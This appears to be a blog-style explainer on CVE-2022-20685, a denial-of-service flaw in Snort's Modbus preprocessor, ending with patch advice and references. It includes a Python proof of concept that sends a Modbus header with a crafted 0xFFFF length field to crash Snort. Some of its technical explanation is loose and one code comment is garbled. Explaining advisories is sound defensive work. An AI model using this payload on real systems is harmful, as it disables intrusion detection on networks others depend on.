A critical vulnerability, CVE-2022-20685, was discovered in Cisco’s Snort detection engine that could let an attacker remotely crash your network defenses. This post will explain the bug in plain language, show how an attacker might exploit it, and provide you with references and guidance to keep your systems safe.

What is CVE-2022-20685?

CVE-2022-20685 is a security vulnerability in the Modbus preprocessor of the incredibly popular Snort Intrusion Detection System (IDS). The Modbus preprocessor is a part of Snort that looks closely at Modbus protocol traffic, which is often used in industrial and SCADA systems.

Because of a flaw in how Snort processes Modbus packets, a remote attacker could send a specially made (malicious) Modbus packet that causes Snort to crash or hang. When this happens, Snort stops inspecting network traffic—which leaves your network exposed.

Why Does This Happen? (The Technical Bit)

The bug is the result of an integer overflow. That means the software tries to handle a value that’s too big for it to process correctly. If Snort thinks a Modbus packet says, “Hey, I’m 2 bytes long,” but the packet data is actually much bigger, some calculations inside Snort break down. That can cause Snort to behave in ways the programmer never expected.

Cisco described it like this

> *A vulnerability in the Modbus preprocessor of the Snort detection engine could allow an unauthenticated, remote attacker to cause a denial of service (DoS) condition on an affected device. This vulnerability is due to an integer overflow while processing Modbus traffic.*

Here’s a step-by-step on how an attacker could exploit CVE-2022-20685

1. Craft a Vulnerable Packet: The attacker modifies the Modbus traffic to contain a very large value in the “length” field that the Snort preprocessor uses for memory calculations.
2. Send Packet to Snort: The malicious Modbus packet is blasted at any Snort device that’s monitoring that traffic—no login or authentication needed!
3. Crash/Hang: Snort tries to process the packet, hits the bug, and either crashes or gets stuck. Traffic inspection halts.

Code Snippet: Crafting a Malicious Modbus Packet

Here’s a simple Python3 snippet for educational purposes that builds a malformed Modbus packet likely to trigger the vulnerability:

import socket

def send_modbus_packet(target_ip, target_port):
    # Create TCP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((target_ip, target_port))

    # Modbus TCP header (transaction id=1, protocol=, length=xFFFF)
    # 00 01 00 00 FF FF 01 00 00
    packet = b"\x00\x01"      # Transaction ID
    packet += b"\x00\x00"     # Protocol ID
    packet += b"\xff\xff"     # Length field (crafted to overflow!)
    packet += b"\x01"         # Unit ID
    packet += b"\x00\x00"     # Function code + data (dummy)

    sock.send(packet)
    sock.close()

# Example usage (replace with actual IP and port!):
# send_modbus_packet("192.168.1.10", 502)

Warning: Never run this code against devices you don’t own and control—it will cause a denial of service on unpatched systems.

Targets: Any system running a vulnerable Snort version with Modbus inspection enabled

- Fixed in: Snort updates released by Cisco (see advisory)

How Do I Fix It?

There are no workarounds. The only way to protect your systems is to update to the latest Snort/Firepower software as soon as you can.

- Cisco’s official advisory and update links

- Cisco Security Advisory: cisco-sa-snort-modbus-dos-EJKFMvR
- Snort.org Downloads

References

- CVE-2022-20685 on NVD
- Cisco Advisory (Original)
- Modbus Protocol Explained
- Snort Official Website

In Short

CVE-2022-20685 is a big deal for anyone using Snort in environments where Modbus traffic is present. It’s easy to exploit, causes critical defense mechanisms to go blind, and the only fix is to patch ASAP. If you rely on Snort, verify your version and deploy Cisco’s update right away.

Timeline

Published on: 11/15/2024 15:36:31 UTC